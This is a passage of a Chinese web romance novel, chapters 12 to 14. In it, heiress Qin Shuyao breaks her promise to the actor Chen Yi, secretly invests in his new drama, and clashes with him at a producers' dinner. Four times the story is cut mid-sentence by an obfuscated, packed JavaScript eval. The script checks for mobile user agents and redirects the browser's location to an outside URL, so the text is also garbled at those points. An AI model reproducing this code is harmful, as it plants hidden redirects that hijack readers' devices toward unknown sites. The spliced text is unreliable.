一个男人要是真心喜欢一个女人,不可能对她没有欲望,但把这句话的因果倒置之后却不一定成立:一个对你有欲望的男人,倒也未必爱你。 而陈屹就是这样。 她相信他今晚之所以冲动,根本原因也不是爱她,可能是想彰显自己的男性魅力,也可能是想压周绍明一头,甚至因为今晚心情不快,单纯想发泄也是有可能的。 毕竟他不喜欢她的借口,比喜欢她的理由还要多。 为了这样一个连真爱都不一定能给她的男人。 放弃和周家的联姻,和周家的合作,甚至要冒着和北方数巨头反目成敌的风险……她真的有必要做出这么大的牺牲吗? 就连裴奕然都不能让她做出这么疯狂的举动,他不过是他的替身而已。 她没再犹豫,仰头把杯子里的红酒一饮而尽,不再思考这些劳心费神的杂事,直接回屋睡觉。 或许是在睡前做过一场消耗体力的剧烈运动,又小酌了半杯红酒,她这一夜睡得都很安稳,甚至连春.梦都没做一个。 唯一还能提醒她昨夜疯狂的,是她晨起时有些酸疼的后腰。 因为腰疼,从床上爬起来都很是困难,可再困难也得起床,她得去找周绍明把剧组换人的事问清楚。 周先生习惯早起,即便她刚起床就赶到周绍明下榻的酒店,对方也已经吃过早饭,只能陪她吃个早午餐。 吃饭的时候,周绍明一个劲关心菜色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816537|190913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合不合她的胃口,体贴至极,让她连找个插嘴的机会也没有,直到一顿饭快要吃饭,周绍明说他下午要去见个老朋友,她随口问了一句,得知对方是龙腾地产的王老板,她才有机会挑起某个敏感话题。 “王老板投资的一部电视剧是不是快要开机了?好像导演还挺厉害的,叫什么来着……” 秦书窈故意装傻,周绍明看破不戳破:“袁仕林。” “哦,是袁导啊,那真是圈内赫赫有名的大导演呢,挑人选角的水平绝对一流,那这部戏的男女主定了谁啊?” 周绍明嘴角不自然地抽动几下:“这我怎么知道。” 秦书窈弯眸一笑,一双桃花眼里看不出一丝撒谎痕迹:“王老板没和你说吗?你们俩十多年的老交情,居然连这种事都不和你分享,真不把你当兄弟。” “我不喜欢打听别人的投资计划。” 她见周绍明有些生气,便笑着挽住他的手,用撒娇对付他,以柔克刚:“我就不和你兜圈子了,我听人说,袁导定的男主原本是陈屹,就在开拍前不久突然被换掉,有些人瞎传,说是王老板不喜欢他,才拿撤资做要挟让导演换的人,你知道这件事吗?” 话已说到这份上,周绍明也没有再隐瞒下去的必要,因为按照秦书窈的手段,她能打听到和王老板有关,必然能从王老板身边人的嘴里撬到其他。 周总深吸口气,推开她的手后又捋平西装上留下的褶皱:“是我让他这么做的,我不喜欢陈屹,有问题吗?” 她脱口而出:“你为什么不喜欢他,他可在半个月前刚刚救过我的命,是我的救命恩人!” “我就是看在他救过你的份上,才只是让他没戏演而已,要他别再在你面前瞎晃悠,又没把他逼得走投无路。” 提到陈屹,她本来就做贼心虚,就算周绍明有明晃晃的偷换概念的问题,她也没心情戳破他:“你还想把他逼得走投无路?周绍明,他做错了什么,非要你这么对他?” “他长得像那个人。”周绍明的情绪突然也有激动,“你难道没看出来吗,他长得很像裴奕然——你和我说过的,你的初恋,你过去二十多年最爱的那个人。” 她不敢直视他的眼睛,目光下意识躲闪:“他早死了,你和一个死人较什么劲。” “裴奕然是死了,但陈屹是活的,我都能看出他们俩长得有十分像,你对他难道没有类似的感觉?”他说完反倒牵住她的手,含情脉脉看向她,“书窈,我想和你谈一场正常的恋爱,做最普通的夫妻。爱都是排他的,我爱你,当然会介意任何影响我们感情的因素出现。” 他说的话很有道理,爱的确有排他性,因为昨夜和陈屹有过肌肤之亲,她今天才对周绍明的接近格外抵触。 她下意识抽出自己的手,往后退缩:“我是在和你聊为什么让王总逼袁导换人的事,不是在聊我们之间的感情,一码归一码。说到底人家陈屹也没做错什么,只是因为他长得像他,就要把人家逼得没戏拍,是不是有些太没道德了。” 周绍明也是聪明人,看得出秦书窈的抗拒,他识趣地不再紧逼她,而是冷哼一声:“我做的不道德的事又不差这一件。” “可你不觉得为了处理感情问题,就去动用和王总的私人交情,有点太情绪化,太小题大做了吗?总是因为这种小打小闹麻烦人家,会消耗王总对你的信任的,我觉得你还是要重新考虑一下再去行动比较好。” 她抬起头,用冷静到极点的目光看向他:“而且我也没有你想的那么感情用事,感情和事业相比,孰重孰轻我还得拎得清的。” 周绍明叹口气:“好吧,我相信你,但没有下一次了。” 12. 反悔 在秦书窈看来,周绍明比陈屹好解决得多。 至少她清楚周绍明心里最在乎的是什么,可陈屹到底在乎什么,她压根不知道。 他好像是个超脱五行之外的神人,既不在乎名利,也不贪恋美色,她从来没听说他为了哪部剧委曲求全过,更没听过他狂热追求过哪位美女,他除了本本分分努力工作,其他什么都不关心。 真到想弥补他的时候,她反倒连个主意也没有。 他们昨晚明明是那样缠绵,你中有我,我中有你,仿佛神仙眷侣,就算一辈子这么纠缠下去,她也是开心的,所有她才在路上的时候打电话给他,把选择权交给他。 是她给了他希望,现在却又要她亲手打破这份希望,换做是谁,心里都不会好受。 她坐在驾驶座上把头发揉了一遍又一遍,恨不得薅几根下来,也没想到应该怎么和他说这件事——她反悔了,她舍不得为了他和周绍明悔婚,舍不得放下现在得到的一切好处,她没办法为了爱他和他私奔。 她想,既然自己没脸直接面对他,找个传话的中间人或许也不错。 她翻找通话记录,不假思索打通凯丽的电话,等凯丽接起,她开门见山直接说。 “昨天的事,我和周绍明说清楚了,的确是他做的,但他和我保证以后不会这样瞎胡闹了。请你把这件事转告陈屹,让他安心拍戏,我和周总以后都不会再打扰他。” 凯丽一头雾水:“你和周总到底是什么情况?周总为什么这么做,他是……在吃陈屹的醋?” 秦书窈苦笑道:“是啊,多大的人了,居然还嫌自己老婆追星。” “……只是追星啊,那就好。” “是啊,不是追星还能是什么?只不过以后陈影帝可要少一个粉丝了——周先生管得严,不让我追星,我只能脱粉咯。” 电话里传来凯丽爽朗的笑声:“没事,生日会你可以偷偷来,咱们也算朋友了,我到时候给你留个好位置。” “一言为定。” 电话挂断,她才如释重负,对着手机长吁口气。 还好不用对着他说这些话。 她简直不敢想,这番话如果当着他的面说,她会有多心虚,多痛苦,甚至因为无法承受莫大的痛苦而再次反悔也有可能发生。 毕竟裴奕然只有一个,而像裴奕然的陈屹,也只有一个。 她想着,想着。 心口便传来一阵绞割似的剧痛,眼前也有些发黑。 * 凯丽像得了什么喜报,带着满面春风敲响陈屹房门,恰巧陈屹也收拾妥当正准备出门,两人迎了个正好。 凯丽心里的欢喜任凭怎么掩饰都压不住,刚进门就被陈屹看出来了,他笑着打趣她,是不是新买的彩票中了十个亿,否则怎么会高兴成这样。 “彩票呢是没中,但我这里有一个比中彩票更值得高兴的消息。”她一边说,一边把给他带来的两套西装从衣袋里取出来,挂在衣架上让他挑选,“秦总刚刚给我打电话,她说她和周总把话都说清楚了,他以后不会再找你的麻烦。” 陈屹听完,眼里闪过不易觉察的失落:“你说的他……是周绍明?” 凯丽笑了:“那不然还能是谁,秦书窈吗?人家秦总可把话和我说明白了,她对你就是纯粹的追星,粉丝对偶像的感情,只不过周绍明小心眼,连她追星都介意,她现在只好连追星的念头也放下了。” 他猛地愣住。 原来她只是在追星吗? 追星的粉丝会追进偶像的房间,追到偶像的床上? 要真是这样,那周绍明介意她追星,还真是介意得很有道理。 他晃了晃神,兀自苦笑着。 凯丽姐还在他面前,他除了无奈又苦涩的笑笑,什么都做不了,就算想质问那人也得等把凯丽送走才行。 他顶着一具行尸走肉般的躯壳,机械地回答着凯丽的问题,她问他哪件更好看,他就说都好看,看她更喜欢哪一套,她又问他几点去见昨晚让她联系的剧组导演,他说只要不是现在,其他时间都可以。 凯丽看出他的心不在焉,就把两套西装都留给他任他选择,又定好下午三点在导演住的酒店见面,再没交代任何话就离开了。 她觉得自己早把该说的和不该说的话,都和他说过了,但凡他是个聪明人,就不会做出糊涂事,成年人交流很多话点到为止就够了,说得太彻底反倒让彼此难堪。 凯丽走后,陈屹使用很多方法试图调整心情,结果都收效甚微,最后只能硬扛着将要崩溃的心情给她打去电话。 电话很快就被接起,手机里传来熟悉的声音,秦书窈惊喜地说:“陈屹,是你吗?这么多年,你的号码竟然一直都没变过。” 他积蓄的满腔怒火,居然在听到她开口后的第一句话之后,奇迹般的完全平息了。 五年过去,她还记得他的号码。 他想开门见山,可又觉得对方态度这么好,他上来就直接拷问人家,倒显得他很小心眼。 陈屹犹豫了很久才开口:“在忙吗?” “有点,我在处理公司的事。周绍明的爸爸,周董事长刚把他们在江浙这边开发的两个楼盘,交给我们公司设计装修,我在思考该怎么规划,如果这次做的好,周董就有更正当的理由,说服董事会通过下一年和我们深入合作的提案。” 一听到她在忙公务,他就连讲话的态度都温柔了几分。 他也知道,他在工作上帮不了她太多,他能给她的助力远远没有周绍明来得实在,如果让他成为秦书窈而去做选择,或者他也会选周绍明。 所有的一切他都能理解,他什么都能体谅,但唯独气愤她为什么要骗他。 昨天夜里她还在和他缠绵,问他是选择事业还是选择爱情,没想到一夜过后就彻底变卦,而从她答应要悔婚到今天变卦,她在做出所有决定的过程中,甚至没和他商量过一分一毫,这才是真正让他伤心的地方。 他可以退出,他可以放手,只要秦书窈哭着来找他,说她后悔了,她冷静下来觉得和他在一起太亏,不如和周绍明联姻更有价值,他都会心软到劝她离开和姓周的在一起——毕竟他从来也没真正爱过她,事情之所以发展到如今这一步,只是因为他被她一骗再骗,在她身上留下太多不甘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816538|190913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半晌听不见声音,秦书窈还以为他挂了:“陈屹,你还在听吗?怎么不说话了呀。” “没挂。”他深深叹口气,“你们建筑行业的水比娱乐圈还深,我没学过这方面的知识,也帮不上你什么,只能闭上嘴听你来介绍了。” “其实也没什么可介绍,具体方案还得下面的人去做,我只是负责把把关。对了,你打电话做什么?” 两人这样平静地聊过几句后,反倒让他提不起质问她该有的火气,因为他似乎已经在和她聊天的过程中就把自己安慰好了,甚至觉得她做得对,要是真因为脑袋一热就去悔婚,才不像一个成年人应该做出来的决定。 “凯丽告诉我,你去找周老板摊牌了,他没怎么难为你吧。” “没有……” “没有就好,我不想你因为我的事,和别人闹得太难堪。” 他也不知道自己为什么会说出这种话,他分明心里火得要命,可万般火气到了嘴边,就变成带点阴阳怪气的关心。 不用秦书窈说什么,他自己听着都感觉有点茶了。 “陈屹……你,是我对不起你。”透过电话都能听出她的声音在颤抖。 他轻笑道:“你有什么好和我道歉的?你应该和周老板道歉才对,是我睡了他的未婚妻,被绿的是他不是我。” “你和他我都对不起,罪该万死的是我,我昨天就应该拒绝你,不,我五年前就不应该用那种方式接近你,我喜欢你,就应该光明正大地追求你,而不是隐瞒自己的身份,用骗的……” 你喜欢我? 秦书窈,你喜欢的真的是我这个人吗,还是我这张和姓裴的长得一模一样的脸! 他恨得咬牙切齿,可就算咬着牙也得维护他所剩不多的体面,轻笑了两声:“你居然也知道不应该,没事,我不怪你。” “你真的不怪我吗?”她声音里充满惊喜。 “真的,不怪你。” 她激动得简直要哭出来。 如果她早知道陈屹是这么一个心胸开阔、宽宏大量的男人,她在路上就不会说出让他二选一的蠢话了,她只需要维持现状,她结她的婚,他立他的单身人设,然后在能力范围内极尽所能去弥补他,把她能给他的一切都给他。 她那颗快要死去的心又怦怦乱跳起来,她觉得自己又爱上他了。 甚至比过去的任何一天都更爱他。 “陈屹,你还在酒店吗,我能再见你一面吗?我还没来得及和你们问,上一部戏被周绍明搅黄,你接下来打算做什么,你还有其他合适的角色吗,要不要我帮你……” 他听到她讨好的口气,脑仁气得都要裂开。 她到底把他当成什么人了?她难道觉得他陪她喝酒,陪她睡觉,只是为了从她身上捞资源? “谢谢,不用了。” 他强忍着不适把话说完就挂了电话,他怕自己再多停留一秒都会忍不住骂人。 他咬紧牙关深吸几口气,剧烈起伏的胸膛并未因他努力克制而平静下来,他反倒是越想越气,气到浑身发抖,直接把手机摔向墙角。 秦书窈,别让老子再看见你! 13. 横城 秦书窈不知道自己哪句话招惹到了陈屹,竟然让他生气到把她的手机号拉黑。 她是在和陈屹最后一次通话之后的一周左右,因为想打听下他的近况才给他打电话,没想到电话刚拨出去就提示正在通话中,又打了好几通也是这样,她才意识到自己可能被人拉黑。 她刚得知这件事的时候的确伤心了很久,毕竟她觉得自己也没做错什么,她帮陈屹解决了周绍明这个心腹大患,让周绍明不再打他的主意,替周绍明认真对待和他家的合作项目,让他无需在自己父亲面前难堪,她还给凯丽引荐了几位上海的老板,给她的经纪团队拉了不少新资源——她已经尽可能让所有人都满意了,为什么他还会生气? 既然他生气到要拉黑她,为什么那天打电话的时候不直接说清楚? 她思索着、思索着,渐渐不生气了。 她觉得可能是他那边发生了什么新情况,比如团队让他和其他人炒cp,他为了心无旁骛好好营业,就快刀斩乱麻,把和她这段没什么未来的前尘旧情彻底放下,再或者,他遇到了真正让他心动的女孩…… 没看出来,陈屹还有当渣男的潜质,移情别恋都不通知她一声。 静悄悄把她拉黑,就可以假装从来没认识过她吗? 不论如何,她都要找到他问个明白。 一周的时间过去,陈屹早已不在上海,他在一天前就到了横城,准备开拍他和凯丽商议后签下的小制作网剧。 而横城正是他们最初相识的地方。 在认识陈屹之前,秦书窈就常去横城探班,有时候是去看望自己混迹娱乐圈的美女朋友,有时候是陪朋友追星,所以她认识好几位常驻横城的导演朋友,横城里有哪几个组在拍,男女主分别是谁,他们都一清二楚。 她和朋友打听清楚陈屹所在的剧组位置,还得知剧组资金周转不开,只能先欠着一部分演员的工资,等后续拉到新赞助再补齐,或者将他们的片酬算进投资里,等片子上映赚到钱,再给他们翻倍分红,但不管是哪一种,都没有在开机时就拿到宽裕资金,顺顺利利直接开拍来得痛快。 她这辈子拥有的东西并不多,但唯独不缺钱。 她知道陈屹眼下不管出于什么原因,肯定都不想再见到他,她便联系温岚,让她以自己的名义去找制片人联系投资的事,只要对方需要,她的预算无上限。 温岚恰巧就在离横城不远的金州,她说自己忙完手头的事,这几天就能去横城和对方制片面谈,只是温岚找她也有其他话要当面说不可,如果她有时间,尽可能也来横城一趟。 温岚在电话里说话遮遮掩掩的,她一连问了几次,温岚都没透漏分毫,这让原本不打算去横城的秦书窈被勾起好奇,第二天加急忙完工作,买了晚上的机票就飞了过去。 刚落地,看到眼底两片乌青的温岚,秦书窈就知道她最近没睡好,忍不住打趣了她几句,却反遭温岚吐槽:“我会忙成这样,还不都是因为你?” 秦书窈以为她是在诟病替她投资的事,搂着温岚的肩膀说:“好岚岚,钱我出,投这片子回头赚到的钱都归你,赔了算我的赚了算你的,有这种好事你还要骂我?” 温岚推开她的胳膊:“我最近操心不是这件事,是……”她下意识环顾四周,确定没人偷拍偷录才继续说,“林公馆的火宅。” “那场火灾可能是人为的,有人故意要谋杀你。” 秦书窈听完,汗毛瞬间竖了起来,即便是在室内,仍能感觉到后背窜过阵阵凉风。 温岚看着她震惊的目光,缓缓道:“公馆里的监控录像也不是我删的,等我去了监控室,发现录像已经都被清空了。” “不是你,那……是放火的凶手?” “有这种可能,所以我这段时间都在找人,只有找到删除录像的到底是谁,才能保证我们在报警之后,他不会把你和陈屹在走廊里的录像拿出来威胁你。我不想你刚刚脱离生命危险,就陷入舆论漩涡。” 静静听完温岚的话,她在秦书窈眼中的形象,瞬间伟岸到了极点,她不顾还在机场,当场抱住温岚:“温岚,你真是我的好姐妹,我都不知道该怎么谢谢你了。” 温岚嫌弃地再次推了推她:“你少在公共场合对我搂搂抱抱就算答谢我了。” 秦书窈哪里肯让她这么轻易就推开,死死拽着她的风衣不撒手,还撒娇似的把下巴靠到她肩膀上:“我不这么抱着你,怎么和你说悄悄话?你和我说说,你最近都查出什么来了?” 秦书窈说话的时候,就靠在温岚耳朵旁,温热的气息挠得她耳根发痒,既然推不开秦书窈,温岚便只好一把捂住她的嘴巴,让她少对着她的耳朵吹兰吐芳:“我也没查出什么,只是那晚之后有个保洁请假回家了,她老家就是金州的。” “你见到她了吗?” “没有,她没回金州,但我见到了她家里人,她快八十的婆婆在老家,我说我是她儿媳的领导,知道她家里困难,专门来给她送慰问金,老太太就让我进门了。她和她老公都在上海打工,儿子因为交了个当群演的女朋友,就在横城一边开车赚钱一边陪女朋友工作。” 秦书窈眨眨眼:“所以她儿子就在横城?” 温岚看她一脸惊喜的样子,就知道秦书窈肯定要说她真是事前诸葛亮,在还没得知这件事的时候就帮她安排好去横城的行程,简直一石二鸟。 温岚刚无奈地点完头,就听到秦书窈如她所料一般自吹自擂起来,惹得温岚不得不揭她老底:“少自恋了,你哪是诸葛亮,你明摆着就是个恋爱脑,放着在家里舒舒服服的日子不过,大半夜飞到这里只为见某人一面。电话里我还没来得及问,你怎么又和他搅到一起去了,你不是那天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816539|190913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和我口口声声地说,为了他坏了名声不值得?” “是不值得……”提起陈屹,秦书窈的脸颊便有些发烫,就连说话时的底气都少了几分,她不知道是该和温岚说,她是因为睡了陈屹想补偿他,还是该说她是因为被陈屹拉黑想讨个说法,毕竟这两个理由听起来都有点丢脸。 “我不是为自己,我是在替周绍明赎罪,你都不知道老周办了件多丢人的事,他居然动用私交逼导演换人,让陈屹把班底很好的一部戏的男主丢了。如果不是老周,陈屹现在应该在海南拍戏,而不是在横城拍那部连投资都没拉够的小制作。” 温岚很没良心地乜了她一眼:“老周那种榆木脑袋都嗅出不对劲了,说到底不还都是你的问题?” 她撇撇嘴:“老周嫌他长得像裴奕然,我能有什么办法?” 两人闲聊着走出机场上了车,很快回到住地休息下来,转日一早便开车去了横城。 秦书窈只负责要到了制片人的联系方式,而和制片人联络的事情,一直都是由温岚来负责,因此对方认识的也只有温岚一人。 出钱的到底是秦书窈,投资一部网剧也不是一个小数目,就算温岚是秦书窈最好的朋友,和钱相关的事还是当面说清比较好,所以温岚非要带着秦书窈一块去。 秦书窈见自己推脱不开,就说要假装成温岚的助理。 温岚本来以为这是秦总在开玩笑,或者是她的用来取乐的新癖好,还没见到制片人,她就想好等会的场面有多尴尬,自己又应该怎么圆场。没想到秦书窈装模作样起来还真有一套,把对方制片都哄得一愣一愣的,走后还和温岚夸她的助理懂事,让自己的助理和秦书窈互留联系方式,以后方便联络。 秦书窈和温岚刚走出酒店正门,就看到一辆保姆车从后院开出停车场,刚好从两人面前路过。 她看不清车里坐着的是谁,但车里人却把她们看得一清二楚。 车里的陈屹简直不敢相信自己的眼睛,他记得他叮嘱过凯丽,不要把他的行程透漏给她,那她又是从哪儿打听到他在这里的消息? 他那么不给她面子,把她的号码拉黑,还拒绝了温岚抛给他的品牌红毯邀请,他所做一切都是为了断绝和她的往来,没想到她还能追到这里来,还真是阴魂不散…… 他的目光扫过秦书窈脸庞,理智像触电般瞬间停滞,足足缓了几秒才回过神来。 他反应过来后第一时间给导演打去电话,把温岚和秦书窈的照片一并发给他,问他有没有见过这两个女人,还问这两人出现在剧组包下的酒店里到底是想干嘛。 导演不知道陈屹和秦书窈之前认识,只是听他说话的口气很着急,以为他和她们有过节,但个人恩怨实在不值得和投资大事相提并论,导演便一个劲打马虎眼,说和投资相关的事他得问问制片,他也不清楚具体情况。 14. 我让你走了吗? 在上网调查了一番之后,导演和制片人总算彻底错解了陈屹的意思。 他们一致认为,秦总之所以隐瞒身份,其实是想用一种低调的方式报答从火场里救出她的恩人陈屹。而陈屹,作为硬刚过资本的实力派演员,他肯定不是一个喜欢占人情便宜的人,所以才在得知秦书窈为了报恩暗中帮助自己之后,应激到那种程度。 导演和制片一合计,他们既不想放弃秦书窈的这笔投资,更不想放弃陈屹这个捡漏得来的男主角,既然两个便宜都想占到,那么调解好两人的关系就成了眼下唯一的解决办法。 制片人没有直接戳穿秦书窈的假身份,而是继续陪着她演这一出假戏,甚至让自己的助理和秦书窈对接时间,说导演也想和她们见个面,讨论讨论剧本。 秦书窈知道讨论剧本是托词,导演想见见她们才是真话,毕竟她一个投资方懂什么剧本,这么说只是为了表示尊重而已,把她这个金主哄开心,好哄骗她投下一部。 她明知道是场无聊的应酬,但她还是去了。 她是不懂艺术,可她是个商人,最懂得怎么营销赚钱,提前和主创团队碰碰面,也能替陈屹把把关,省得他太沉迷艺术,忘记做演员的核心是博流量、赚大钱。 聚会时间就定在当天晚上。 除了导演和制片人还来了三位,一个是负责活跃气氛的统筹,一个是负责替导演挡酒的副导演,但还有一个位置空着,迟迟不见有人来,秦书窈叫人把椅子拿走,却被导演拦下,说那位还在路上,因为收工晚了耽搁了一点时间。 秦书窈刚要问是谁有这么大的架子,居然让一屋子的老板大佬干等他一人,就看见一张熟悉的面孔推门而进来:“路上真是太堵了,我还是头一次碰到这种情况……” 是陈屹。 秦书窈瞬间紧张起来,虽然她早猜过可能是他,但无端猜测和眼见为实到底有些区别。 她的眼睛刚扫过他的脸庞,心脏就不争气地怦怦乱跳起来。 和看了他这张帅脸就能瞬间消气的秦书窈不同,陈屹见了她只觉得胸口憋闷,下意识就想转身离开,最后被导演硬拽着才坐下。 就算没秦书窈干预,陈屹在整个剧组里也是举足轻重的存在,毕竟是导演求着他演,而不是他努力争取才得到这个角色。 他当着众人的面没给导演好脸色,直接质问导演,他在电话里说得很清楚,他不愿意和秦书窈合作,如果他们非要拿她的投资,男主就得另请高明,他是不会再演了。 导演和制片人一直还没介绍温岚和秦书窈,而秦书窈也以为自己演技高明,可以骗过所有人,自进包间就一直扮演自己助理的角色,主动给大家端茶倒水,直到被陈屹拆穿身份的前一刻,她还在假装卑微和一旁的副导演闲聊。 原本趾高气昂的副导演,在听到秦书窈的名字后,瞬间变了脸色,神态动作都变得很不自然。 导演看场面有些失控,连忙拍着陈屹的肩膀打哈哈:“我知道你是什么想法,你是个对表演有崇高理想的演员,不想让创作和这些私人交情挂钩。可秦总人家也没做错什么,人家投资你拍的戏,没准是为了还你之前奋不顾身救她的人情呢,你总不能连一个报恩的机会都不给,这也太没人情味了。” 导演说得语重心长,但陈屹听得不明所以,他不知道为什么导演能把秦书窈投资的事和之前那场火灾挂上钩,甚至脑补出报恩这种操蛋剧情。 他刚想反驳,可仔细琢磨又感觉导演说的好像不无道理,至少能算个不错的借口。 他推开导演的手,义正词严道:“对不起,我就是这么个不讲情面的人。”他又扭头看向秦书窈,“秦总,如果您钱多烧得慌,那就到别处烧去,别来我这里送人情,你这份人情太重,我怕我消受不起。” 秦书窈眼看装不下去,干脆也不演了,冷着脸迎上他的目光:“陈先生,你想多了,我之所以投这部剧,完全是因为看中这部片子的商业价值,我为了不让你知道,还故意用我朋友的名义来投资,谁知道就这样还能被你发现。” 秦书窈说得不错,她确实伪装得很好,如果不是他不小心撞见,可能等合同签成,他也不知道新资方是谁。 但不让他知道,就能掩盖她玩弄他的事实吗? 这样看,她和周绍明有什么区别,不都是在仗着自己钱多势大,随便欺负人。 陈屹深吸口气平稳自己的情绪:“既然你看中的是这部剧的商业价值,不是因为我,那你继续投你的资,我离开就是了。” “你说不演就不演了?好,你不演我就不投了,我会投你接的下一部。” 导演看情况不妙,想把两人分开,结果不管悄悄拽了多少下陈屹,他都对他置之不理,陈屹反而一直死死盯着秦书窈:“你是非要逼得我不拍戏才算完吗?” 秦书窈的口气却很平静:“我只是觉得你拍的片子有很好的市场影响力,想跟着你的赚点钱,就这么简单,你怎么会想到逼你退圈上去。” 在座各位都是圈里人,他被周绍明临时换角的事,只要认真打听一下,他们早晚都会知道,陈屹也不怕把这件丑闻让别人知道:“你的未婚夫周绍明先生刚把我从上一个剧组逼退,你就又追到这里来,我用最坏的方式揣度你的所作所为,难道有错吗?” “当然有错!他是他,我是我,我就是因为知道他做了背信弃义的事,才想来补偿你。” 陈屹被秦书窈气得头疼。 单从两人的对话来看,确实是他在无理取闹,但能说出来给大众听的,到底只是内幕里的冰山一角,真正能让他生气到不愿再见到她的原因,并不是周绍明换了他的男主,而是她反复无常,玩弄他的感情。 陈屹扶着额头缓了缓,才一边起身一边和众人说:“我有点不舒服,先回去休息了。” 秦书窈听完什么话都没说,只是把手里的筷子啪一声拍在桌上:“我让你走了吗?” 他已经几乎走到门口,听到这一声巨响才停下脚步,他背对着所有人,没人看得清他当下的表情,只能听到他嘲讽似的轻笑。 “你不让我走,我就不能走吗,秦书窈,你以为你是谁?” 他说完便开门离去,留下屋里众人面面相觑。 温岚坐在一旁半天没有吱声,她太了解秦书窈的脾气,她是个吃软不吃硬的主,得顺毛哄,不能在她生气的时候和她硬来。 刚刚陈屹在的时候,也是她火气最旺的时候,那种时候去劝秦书窈,无异于火上浇油,所以她才一直保持沉默。 陈屹的离去像是带走秦书窈的魂魄,他一走,她就没了刚才吵架时的嚣张气焰,坐在椅子上萎靡地呆滞了许久。 温岚悄悄拍了拍她的大腿,附到她耳旁说:“出去走走吧,我陪你。” 秦书窈像具得了命令的傀儡,听完温岚的话就木讷站起身,拿上自己的衣服往门外走,温岚晚她一步,给导演和制片道了几句歉,才跟着秦书窈出门去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816540|190913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦书窈的眼泪压根忍不到走出酒店。 她一想起陈屹临走前说的话和他说话的口气,她的眼泪就止不住往下掉。 她知道,他这回是真生气了。 他平时不管对谁都是一副和颜悦色的模样,今天能当着其他人的面和她撂下那种话,肯定是他被气得不轻。他本来也没有多喜欢她,这么一闹,搞不好他以后连见都不愿意再见到她,她和他可能真要分道扬镳了。 想到这里,她恨不得穿越回十分钟之前,猛猛给自己两耳光,让自己别冲动,更别逞口舌之快。 她不想被温岚看到自己哭鼻子的丢人样,就一边擦着眼泪一边快步往出走,结果眼泪像源源不绝的热泉,越擦越多,等她哭着走到路边,手心手背都是眼泪,新哭出来的眼泪和鼻涕连个擦的地方都没有。 她尴尬地杵在路边,心里想着,不知道温岚什么时候追上来,或许她身上带着纸…… 一张卸妆巾就突然被递到她面前。 “拿这个擦吧,妆都哭花了,还不如直接卸了。” 她接过好心人递来的湿巾,顾不上擦眼泪,就着朦胧的泪眼仰起头看身边人。 站她身边的不是温岚,是一个穿着黑色长风衣、戴着口罩的……陈屹。 她来不及问他为什么在这里,就听到对方悠悠吐槽:“回去换个牌子的粉底液,你现在用的这个不防水。” 她不知道该说什么,哦了声应下,默默用他递来的湿巾擦着脸。 和他并排站在路边,吹着晚风,看着零零星星驶过的两三辆车,她觉得尴尬极了。 他们刚和对方放过狠话,现在却又装没事人一样站在这里等车,默契地谁都不提刚刚发生的不愉快。 但不提,并不代表没发生过。 他对她说过的每一句话她都记得。 他说要是她坚持投资,他就要毁约罢演。 生气是小,可因为情绪耽误了剧组拍戏进度,这事就闹大了,剧组停工不是一两个人的事,可能关系到幕前幕后几百号工作人员。 陈屹刚刚坚定的态度,已经让她的信念产生了一丝动摇,如果他们两个人不能同时出现,有她就得没他,她宁可选择退出,永远在他眼前消失。 她深吸口气,鼓足勇气开口:“如果我非要投资,你还演吗?” “不演。”他淡淡说完,故作无意地垂眼瞥了瞥她,学着她的口气问,“那你呢,如果我这么坚定,你还会投这部戏吗?” “不会。” 陈屹听完秦书窈不假思索的回答,回味了好一会儿,才无奈地笑了两声:“别和我置气了,行吗?你说因为咱俩之间的矛盾,让这么多人陪着一块难受,是不是有点太幼稚了。” 她听完很是不爽:“那也是你幼稚。” 他无奈叹道:“好,是我幼稚。回家去吧,别在这里和我这个幼稚鬼胡闹了,好不好?” 听着他说话的声音,她竟然从他的语气里听出一丝宠溺,但很快地,她就打消了自己这种不切实际的幻想,转而一本正经地和他说。 